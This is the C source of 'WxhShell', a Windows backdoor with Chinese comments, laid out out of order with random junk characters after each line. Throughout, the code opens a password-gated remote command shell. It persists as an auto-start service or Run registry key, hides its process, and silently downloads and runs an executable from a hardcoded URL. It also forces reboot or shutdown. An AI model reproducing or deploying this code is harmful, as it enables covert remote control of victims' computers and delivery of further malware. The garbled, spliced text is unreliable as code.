    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X@'u y<tI-  
    else { (lXGmx8  
    closesocket(wsh); TCN8a/@z  
    ExitThread(0); SAH-p*.  
    } c-x,fS"&W  
    break; 61,;Uc\T  
    } ?274uAO'  
  // 获取shell ]jtK I4  
  case 's': { J}*,HT*  
    CmdShell(wsh); qaqBOHI6G  
    closesocket(wsh); z#8~iF1  
    ExitThread(0); 'OE&/ C [  
    break; ."TxX.&HE  
  } J &o |QG  
  // 退出 cW~}:;D4  
  case 'x': { e h&IPU S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !SC`D])l  
    CloseIt(wsh); bo,_&4?  
    break; szb_*)k  
    } i#&z2h-b  
  // 离开 >] qc-{>&  
  case 'q': { _mzW'~9wN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O#n8=B4  
    closesocket(wsh); Htay-PB }  
    WSACleanup(); ynmWW^dg  
    exit(1); <>n0arAn  
    break; >Y&N8PHD  
        } n#/_Nz  
  } rR$h*  
  } }^4Xv^dW>g  
@y e4q.m  
  // 提示信息 G[B=>Cy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V("{)0~O  
} d)B@x`  
  } @*F"Q1 wI  
Vmc5IPd{\  
  return; hv)x=e<  
} 00<cYy  
HpR]q05d  
// shell模块句柄 wGU*:k7p  
int CmdShell(SOCKET sock) Hj'xAtx5  
{ _ftI*ni:<  
STARTUPINFO si; R]Vt Y7}i,  
ZeroMemory(&si,sizeof(si)); G !<Z.]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~Xw"}S5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -B>++r2A^  
PROCESS_INFORMATION ProcessInfo; 214Ml0/%  
char cmdline[]="cmd"; Zvhsyz|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pny11C  
  return 0; < z+t,<3D  
} Xk:OL,c  
&*sP/z  
// 自身启动模式 68bQ;Dv  
int StartFromService(void) k=2Lo  
{ h~A/y!s  
typedef struct *zNYZ#  
{ V @rI`~$  
  DWORD ExitStatus; %`k6w3qI  
  DWORD PebBaseAddress; [l:x'_y  
  DWORD AffinityMask; i}b${n o  
  DWORD BasePriority; r~[Ia!U?  
  ULONG UniqueProcessId; m9)p-1y@5  
  ULONG InheritedFromUniqueProcessId; 6f;fx}y  
}   PROCESS_BASIC_INFORMATION; 3yANv?$a  
-1Jg?cPz k  
PROCNTQSIP NtQueryInformationProcess; +O'3|M  
gwNq x"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z _g~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^m L@e'r  
3sc+3-TF  
  HANDLE             hProcess; *RT>`,t/  
  PROCESS_BASIC_INFORMATION pbi; 6~OoFm5  
y@]_+2Vo  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wWgWWXGT}  
  if(NULL == hInst ) return 0; 9K/HO!z  
m2 -Sx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =Xm@YVf&ZD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (As#^q\>B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k[0-CB  
(VS5V31"  
  if (!NtQueryInformationProcess) return 0; `id 9j  
mCRt8 rY;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;g8R4!J  
  if(!hProcess) return 0; so^lb?g  
>82@Q^O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YgKZ#?*  
YX%[ipgB  
  CloseHandle(hProcess); H /,gro  
A+HF@Uw}^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <Q$@r?Mu]  
if(hProcess==NULL) return 0; 9s_vL9u  
:WQ^j!9'  
HMODULE hMod; =nz}XH%=  
char procName[255]; g"Ljm7  
unsigned long cbNeeded; ^F>cp ,x  
z25lZI" X`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %?LOs H   
aGK?x1_  
  CloseHandle(hProcess); @*>@AFnf\Z  
)@N2  
if(strstr(procName,"services")) return 1; // 以服务启动 UYFwS/ RW}  
[N1hWcfvd  
  return 0; // 注册表启动 hp8%.V$f  
} f6|KN+.  
Vw[6t>`  
// 主模块 gHhh>FFAq  
int StartWxhshell(LPSTR lpCmdLine) Tfh 2.  
{ FE" y\2}  
  SOCKET wsl; - *F(7$  
BOOL val=TRUE; Kqun^"Df  
  int port=0;  R=.4  
  struct sockaddr_in door;  zG+R5:  
dG@"!!,  
  if(wscfg.ws_autoins) Install(); NxSu 3e~PS  
+U_=*"@|  
port=atoi(lpCmdLine); *Kyw^DI  
cQG +$0(  
if(port<=0) port=wscfg.ws_port; >tTj[cMJl  
& +4gSr  
  WSADATA data; ##KBifU"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rxr{/8%f%  
M@h|bN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   CQwL|$)]Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G,TM-l_uw  
  door.sin_family = AF_INET; qe#P?[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u7bLZU 0  
  door.sin_port = htons(port); [FK<96.nt  
|M8WyW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A"`foI$0  
closesocket(wsl); %cCs?ic  
return 1; =PUt&`1.a  
} j lp:lX  
u4m,'XR  
  if(listen(wsl,2) == INVALID_SOCKET) { ";BlIovT=R  
closesocket(wsl); :*t"8;O[  
return 1; =81@ o,1w  
} RE}?5XHb  
  Wxhshell(wsl); : m)   
  WSACleanup(); Ib|Rf;J~-  
CL)lq)1(  
return 0; >:zK?(qu,N  
:}r.  
} uqM yoIc  
YWMGB#=  
// 以NT服务方式启动 |_}2f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <F'X<Bau  
{ RlheQTJ  
DWORD   status = 0; hOFOO_byzO  
  DWORD   specificError = 0xfffffff; :,WtR  
eFBeJZuE|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :`E8Z:-R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q9U f.Lh2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \I["2C]3M  
  serviceStatus.dwWin32ExitCode     = 0; I+Jm>XN  
  serviceStatus.dwServiceSpecificExitCode = 0; L,SGT8lL  
  serviceStatus.dwCheckPoint       = 0; dcLA1sN,  
  serviceStatus.dwWaitHint       = 0; k4,BNJt'Z  
fq5_G~c =  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C|d\3S\(  
  if (hServiceStatusHandle==0) return; |X,|QC*7?  
WZazJ=27}  
status = GetLastError(); 3= DNb+D!  
  if (status!=NO_ERROR) $"dR SysB  
{ uA,>a>xYI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +zrAG 24q  
    serviceStatus.dwCheckPoint       = 0; 0`)iIz  
    serviceStatus.dwWaitHint       = 0; @S|jC2^+h  
    serviceStatus.dwWin32ExitCode     = status; I#m-g-J  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y7#-Fra0W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fLDg~;3  
    return; )'/|)  
  } umF Z?a  
\\{J'j>{f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @+'-ADX  
  serviceStatus.dwCheckPoint       = 0; S;~g3DC d  
  serviceStatus.dwWaitHint       = 0; ix W@7m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t| 9 GS|  
} AtU v71D:  
( Fynok  
// 处理NT服务事件,比如:启动、停止 TT50(_8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *.~6S3}  
{ cCo`~7rE  
switch(fdwControl) s7g(3<(  
{ /CuXa%Ci^  
case SERVICE_CONTROL_STOP: T<JwD[ (  
  serviceStatus.dwWin32ExitCode = 0; SrFS#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?+g`HTY u  
  serviceStatus.dwCheckPoint   = 0; S!Omy:=;i  
  serviceStatus.dwWaitHint     = 0; nl(WJKq'  
  { K+Z+wA?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )uK{uYQl  
  } CM<]ZG7  
  return; # altx=6'  
case SERVICE_CONTROL_PAUSE: YLwnhy>dD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ME;n^y\8  
  break; D?C)BcN  
case SERVICE_CONTROL_CONTINUE: aO@ 7O*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %FS$zOsgGK  
  break; eh4gQ^l  
case SERVICE_CONTROL_INTERROGATE: 28/ ADZ  
  break; mNb ?*3\  
}; V$"ujRp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q(zJ%Gv)  
}  %VzKqh  
fLSXPvm  
// 标准应用程序主函数 @%tRhG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~XyW&@  
{ fwrJ!j  
"t({D   
// 获取操作系统版本 u)ev{)$TM  
OsIsNt=GetOsVer(); )I^2k4Cg"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Nc :({@I  
({-GOw46  
  // 从命令行安装 ! iptT(2  
  if(strpbrk(lpCmdLine,"iI")) Install(); %V1Z~HC  
P6 ;'Sza  
  // 下载执行文件 Di@GY!  
if(wscfg.ws_downexe) { 4Sm]>%F':  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %]gn?`O  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2$14q$eb  
} ~6pr0uyO`  
yC3yij<oR  
if(!OsIsNt) { 2:BF[c`  
// 如果时win9x,隐藏进程并且设置为注册表启动 3I!?e!y3(  
HideProc(); -29gL_dk.  
StartWxhshell(lpCmdLine); 2u"7T_"2D  
} =/u% c!  
else pG34Qw  
  if(StartFromService()) :}h>by=  
  // 以服务方式启动 rQOWLg!"  
  StartServiceCtrlDispatcher(DispatchTable); t~e<z81p  
else ~_9n.C  
  // 普通方式启动 b{d4xU8'  
  StartWxhshell(lpCmdLine); ) c/% NiN  
< -uc."6\  
return 0; 'Q =7/dY3I  
} 2+cNo9f  
ik"sq}u_]E  
`C_jP|[e  
BnCKSg7V  
=========================================== ed!:/+3e/  
zF@o2<cD@  
&O)&k  
?9HhG?_x  
RP 2_l$  
WpS1a440  
" ^A][)*SZ  
YXU|h  
#include <stdio.h> $B#6tk~u  
#include <string.h> B d^"=+c4  
#include <windows.h> \.f}W_OF  
#include <winsock2.h> G/d4f?RU  
#include <winsvc.h> Q|,B*b  
#include <urlmon.h> K*IxUz(  
}m/RZP~=  
#pragma comment (lib, "Ws2_32.lib") #Ei,(xiP  
#pragma comment (lib, "urlmon.lib") 6oinidB[l  
WEa2E?*  
#define MAX_USER   100 // 最大客户端连接数 F$Ca;cP"  
#define BUF_SOCK   200 // sock buffer c{>uqPTY  
#define KEY_BUFF   255 // 输入 buffer =?])['VaA  
"c(Sysl.L  
#define REBOOT     0   // 重启 &m {kHM  
#define SHUTDOWN   1   // 关机 )-Ej5'iHr  
?!=iu!J  
#define DEF_PORT   5000 // 监听端口 }C  /]  
x lsqj`=  
#define REG_LEN     16   // 注册表键长度 4g}FB+[u  
#define SVC_LEN     80   // NT服务名长度 ZkP {[^6d\  
>#}2J[2HQ  
// 从dll定义API !j1[$% =#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ygS L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M wab!Ya  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (f_g7B2&y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PSRzrv$l  
vLa#Y("  
// wxhshell配置信息 li] 6Pj,  
struct WSCFG { =39 ?:VoD  
  int ws_port;         // 监听端口 EQIUSh)M  
  char ws_passstr[REG_LEN]; // 口令 j'HkBW:L  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2$ !D* <  
  char ws_regname[REG_LEN]; // 注册表键名 K9[e>  
  char ws_svcname[REG_LEN]; // 服务名 6yu]GK} es  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -h-oMqgu(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 sVoW =4V8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  :Pq.,s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 659v\51*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1/ZR*f a  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 451'>qS  
?-OPX_i_  
}; =s}Xy_+:  
joa5|t!D9  
// default Wxhshell configuration QM5 .f+/  
struct WSCFG wscfg={DEF_PORT, Ch_xyuJ  
    "xuhuanlingzhe", _P,^_%}V06  
    1, Te{ *6-gO3  
    "Wxhshell", BHj\G7,S  
    "Wxhshell", B|%tE{F  
            "WxhShell Service", 02JoA+  
    "Wrsky Windows CmdShell Service", zTo8OPr  
    "Please Input Your Password: ", ~u&|G$1!0  
  1, W~ULc 9  
  "http://www.wrsky.com/wxhshell.exe", 6QZ5|T ]  
  "Wxhshell.exe" ~|Z'l%<Os  
    }; s?3i) Ymr  
!umEyd@ "  
// 消息定义模块 a :HNg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i3mAfDF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2UP,Tgn..  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +m,!e*g  
char *msg_ws_ext="\n\rExit."; ?@R")$  
char *msg_ws_end="\n\rQuit."; p|XAlia  
char *msg_ws_boot="\n\rReboot..."; 8I+d)(:  
char *msg_ws_poff="\n\rShutdown..."; g):]'  
char *msg_ws_down="\n\rSave to "; ]Z4zF"@  
-Dzsa  
char *msg_ws_err="\n\rErr!"; f+Dn9t  
char *msg_ws_ok="\n\rOK!"; w7-WUvxl  
XD-^w_  
char ExeFile[MAX_PATH]; ,xths3.K  
int nUser = 0; gJ3c;  
HANDLE handles[MAX_USER]; ~^N]y b  
int OsIsNt; Di Or{)a  
6'OO-o  
SERVICE_STATUS       serviceStatus; :Dl% _l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >_ X/[<  
C:\(~D *GS  
// 函数声明 ~!+ _[uJ  
int Install(void); ?M6ag_h3  
int Uninstall(void); ujgLJ77  
int DownloadFile(char *sURL, SOCKET wsh); qJ8-9^E,L  
int Boot(int flag); oP,9#FC|(  
void HideProc(void); t7F.[uWD  
int GetOsVer(void); `_ (~ Ud  
int Wxhshell(SOCKET wsl); > %*B`oqo  
void TalkWithClient(void *cs); ';RI7)<  
int CmdShell(SOCKET sock); dEp/dd~(&  
int StartFromService(void); Jm(ixekp  
int StartWxhshell(LPSTR lpCmdLine); =qoRS0Qa  
2H[)1|]l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~U}Mv{ y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); noA-)  
.Gb+\E{M  
// 数据结构和表定义 GVd48*  
SERVICE_TABLE_ENTRY DispatchTable[] = Jp;k+ "<q  
{ lr('k`KOQ  
{wscfg.ws_svcname, NTServiceMain}, LxJ6M/".  
{NULL, NULL} Ff"gadRXd  
}; i (HByI  
h(xP_Svj>  
// 自我安装 [@{0o+.]'H  
int Install(void) VRS 2cc  
{ M?o{STt  
  char svExeFile[MAX_PATH]; FMu!z  
  HKEY key; ;Gm>O7"|@  
  strcpy(svExeFile,ExeFile); r(uP!n1+  
(;6s)z  
// 如果是win9x系统,修改注册表设为自启动 sms1%%~  
if(!OsIsNt) { 8?jxDW a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oL *n>dH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 17py ).\  
  RegCloseKey(key); x3p9GAd#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aqQ o,5U>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /jrY%C  
  RegCloseKey(key); Etmo7 8e  
  return 0; %"7WXOv&z  
    } boQ)fV"  
  } rB]W,8~%  
} *Wyl2op6  
else { 0#|7U_n  
e)pTC97^L  
// 如果是NT以上系统,安装为系统服务 I}:L]H{E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %{ ~>n"  
if (schSCManager!=0) INLf#  N  
{ \ sf!  
  SC_HANDLE schService = CreateService e`DsP8-&v  
  ( 8[\ 79|  
  schSCManager, O@`J_9  
  wscfg.ws_svcname, c2b6B.4  
  wscfg.ws_svcdisp, _:,.yRez  
  SERVICE_ALL_ACCESS, w yD%x(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I #l;~a<9z  
  SERVICE_AUTO_START,  [y{E  
  SERVICE_ERROR_NORMAL, ~PUsgL^  
  svExeFile, =49o U  
  NULL, !d4HN.a7+u  
  NULL, T8q[7Zn  
  NULL, :c;_a-69  
  NULL, a"qR J-@  
  NULL u[`v&e  
  ); i wz` x  
  if (schService!=0) j:?N!*r=  
  { QV)}3pW  
  CloseServiceHandle(schService); 7x+=7,BZd  
  CloseServiceHandle(schSCManager); FuMq|S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r } 7:#XQ  
  strcat(svExeFile,wscfg.ws_svcname); ib Ue*Z["1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F^TAd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D%GGu"@GO  
  RegCloseKey(key); ~j}J<4&OvC  
  return 0; ]S]"`;Wh  
    } q6)p*}-  
  } s*{mT6s+T  
  CloseServiceHandle(schSCManager); }B*,mn2N  
} 9L=;KtE1  
} | M _%QM.  
)=(n/vckM  
return 1; O2@" w23  
} Q2R-z^pd  
H:E5xz3VQ  
// 自我卸载 ris;Iu^v0  
int Uninstall(void) xc *!W*04  
{ u S(@?m$  
  HKEY key; b.6ZfB,+G  
T:@7 S  
if(!OsIsNt) { Bb_}YU2#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Uk"Y/Ddm  
  RegDeleteValue(key,wscfg.ws_regname); 6 <r2*`  
  RegCloseKey(key); 09x+Tko9;*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4 f3=`[%  
  RegDeleteValue(key,wscfg.ws_regname); !SN WB  
  RegCloseKey(key); u mqKFM$  
  return 0; wjg}[R@!  
  } V4oak!}?  
} d.b?! kn  
} 6o9sR)c ?  
else { XL?A w  
$OT}`Te~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E.4n}s  
if (schSCManager!=0) <q1'Li)_R  
{ k{qLkcOg=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \ j x0ZHR  
  if (schService!=0) I<9n(rA  
  { _H/67dcz,  
  if(DeleteService(schService)!=0) { J(&Gmk9&  
  CloseServiceHandle(schService); S].Ft/+H  
  CloseServiceHandle(schSCManager); !}j,TPpG  
  return 0; WkcH5[  
  } # s,Y% Bce  
  CloseServiceHandle(schService); 6BR \iZ  
  } u[: P  
  CloseServiceHandle(schSCManager); U !.~XT=  
} 0~:e SWz=  
} zv|M*Wu  
b3P9Yoj-  
return 1; GW:\l~ d  
} 8_+vb#M  
@>gD1Q7v b  
// 从指定url下载文件 #Ul4&QVeg  
int DownloadFile(char *sURL, SOCKET wsh) *+NZQjl'  
{ Qh 1q  
  HRESULT hr; dqL  -'  
char seps[]= "/"; KWtu,~O_u  
char *token; Sn+FV+D  
char *file; u% r!?-z  
char myURL[MAX_PATH]; f>?^uSpWH  
char myFILE[MAX_PATH]; L F8Pb;I  
.O;!W<Ef$  
strcpy(myURL,sURL); *EX$v4BX  
  token=strtok(myURL,seps); 1Q0%7zRirI  
  while(token!=NULL) li1v 4  
  { $:PF9pY(  
    file=token; nq),VPJi  
  token=strtok(NULL,seps); pqkcf \  
  } v hR twi  
K`,nW6\  
GetCurrentDirectory(MAX_PATH,myFILE); $dr27tse&<  
strcat(myFILE, "\\"); V> 1D1  
strcat(myFILE, file); P}+2>EU  
  send(wsh,myFILE,strlen(myFILE),0); Bmi:2} j  
send(wsh,"...",3,0); J& n ^y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9$:QLE+t  
  if(hr==S_OK) -MQZiq7H4  
return 0; B-B?Ff>  
else Zm`'MsgFr  
return 1; :QxL 9&"  
+p8qsT#7  
} T-hU+(+hg  
9*7Hoi4Ji  
// 系统电源模块 uDpf2(>s  
int Boot(int flag) FLi(#9  
{ 7W6eiUI'  
  HANDLE hToken; 3"HGEUqA  
  TOKEN_PRIVILEGES tkp; D)f5pEq'  
MT;SRAmUr  
  if(OsIsNt) { 6#OL ;Y]_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k'6<jEbk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Fl8w7LcF7  
    tkp.PrivilegeCount = 1; i#CaKS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; / c4;3>I S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !G+n"-h9'  
if(flag==REBOOT) { aW52.X z%8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j|3g(_v4W  
  return 0; o+]Y=r2  
} M"k3zK,  
else { D{Hh#x8Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^zBjG/'7  
  return 0; bE VO<x+  
} '*o7_Ez-{  
  } bd@*vu}?}  
  else { %s~NQ;Y  
if(flag==REBOOT) { N1D6D$s0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8o*\W$K@  
  return 0; 5KL9$J9k  
} c^i"}2+  
else { 3bT6W, J4T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [[";1l  
  return 0; OqEg{o5 a&  
} {^PO3I  
} Fw(b1d>E  
ZXF AuF  
return 1; &:!ZT=  
} vjOG?-  
d,GtH)(s  
// win9x进程隐藏模块 [u`17hyX  
void HideProc(void) o 2[vM$]  
{ z5|e\Z  
2eZk3_w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FgFJ0fo  
  if ( hKernel != NULL ) &=+cov(3  
  { M<SbVP|V "  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0U>t>&,"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *` @XKK  
    FreeLibrary(hKernel); %a)0?U  
  } 0%GqCg  
CjC'"+[w  
return; p=mCK@  
} BR&Qw'O%  
= )JVT$]w  
// 获取操作系统版本 yr/]xc$  
int GetOsVer(void) vp )}/&/  
{ Y|GJp h  
  OSVERSIONINFO winfo; |Ak =-.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =!pu+&I 9  
  GetVersionEx(&winfo); /pAm8vK   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J1gEjd   
  return 1; %2rHvF=  
  else =sUl`L+w,L  
  return 0; /ZIJ<#o[  
} c&| '3i+  
. BYKdxa  
// 客户端句柄模块 d'Ik@D]I  
int Wxhshell(SOCKET wsl) +q`rz  
{ t+W=2w&  
  SOCKET wsh; TQOg~lH  
  struct sockaddr_in client; S:2u3th7  
  DWORD myID; /el["l  
B"?+5A7  
  while(nUser<MAX_USER) !i~x"1  
{ g~ppPAH  
  int nSize=sizeof(client); #x4h_K Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?[hy|r6$  
  if(wsh==INVALID_SOCKET) return 1; 2 0Cie q  
oPBg+Bh*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yKe*<\  
if(handles[nUser]==0) &(H)gjH  
  closesocket(wsh); %ojR?=ON  
else -$L],q_S^  
  nUser++; |%2/I>o  
  } =,>TpE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'Ec:l(2Ec  
@~!-a s7  
  return 0; iSZctsqE  
} -A-hxK*^  
</+%R"`  
// 关闭 socket !%Hl#Pv}  
void CloseIt(SOCKET wsh) HP4'8#3o  
{ O#Zs3k  
closesocket(wsh); bCE7hutl  
nUser--; f'zU^/$rf  
ExitThread(0); xtIehr0{$I  
} 8XH|T^5  
8f{}ce'E*  
// 客户端请求句柄 tz0Ttu=xH  
void TalkWithClient(void *cs) n ]6 0  
{ wEHAkc)Q  
w ~L\Ebg  
  SOCKET wsh=(SOCKET)cs; JK:mQ_  
  char pwd[SVC_LEN]; mNnw G);$  
  char cmd[KEY_BUFF]; \AtwO  
char chr[1]; lEYT{  
int i,j; <<W.x)#:  
MWn L#!  
  while (nUser < MAX_USER) { mSk :7ozZ  
v]`A_)[  
if(wscfg.ws_passstr) { aG8D%i0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q563,s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?2;n=&ZM  
  //ZeroMemory(pwd,KEY_BUFF); g~^{-6Vg  
      i=0; xvx\H'  
  while(i<SVC_LEN) { Rbj+P;t&  
Kt4\&l-De  
  // 设置超时 z:i X]df  
  fd_set FdRead; +/b4@B7  
  struct timeval TimeOut; -'H+lrmv  
  FD_ZERO(&FdRead); Y)4Nydq  
  FD_SET(wsh,&FdRead); ELgae1  
  TimeOut.tv_sec=8; *a4b`HRT  
  TimeOut.tv_usec=0; ?N!j.E4=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ![P(B0Ct/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~0^,L3M  
LA=>g/+i.X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y?vm%t`K  
  pwd=chr[0]; Fzld0p9=  
  if(chr[0]==0xd || chr[0]==0xa) { ]tdo&  
  pwd=0; uVuToMCp  
  break; -o!,,XYj .  
  } ]}l+ !NV<  
  i++; D 5r   
    } @;T #+!  
U:P3Z3Y%  
  // 如果是非法用户,关闭 socket #G!Adj+p5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'MdE}  
} t zW<&^  
iQ]c k-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v20I<!5w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M%5$-;6~_  
g7U:A0Z  
while(1) { !NAX6m  
7f\^VG  
  ZeroMemory(cmd,KEY_BUFF); zloaU  
SJ[@fUxO)  
      // 自动支持客户端 telnet标准   \(>$mtS:  
  j=0; Kf?{GNE7  
  while(j<KEY_BUFF) { F;Xq:e8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6P*)rye  
  cmd[j]=chr[0]; +|"n4iZ!)  
  if(chr[0]==0xa || chr[0]==0xd) { DN 8pJa  
  cmd[j]=0; &!YH"{b  
  break; qnfRN'  
  } A%m `LKV~@  
  j++; J,=E5T}U^  
    } hTtp-e`   
='bmjXu  
  // 下载文件 k+R?JWC:  
  if(strstr(cmd,"http://")) { yxP?O@(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <9@]|  
  if(DownloadFile(cmd,wsh)) +#JhhW Zj(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ? -F'0-t4%  
  else QUw5~n ;-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8rG&CxI  
  } e "adkV  
  else { e$^!~+J7  
]o+|jgkt]  
    switch(cmd[0]) { ,/b/O4`;y  
  |16BidWi  
  // 帮助 ^R'!\m|FR  
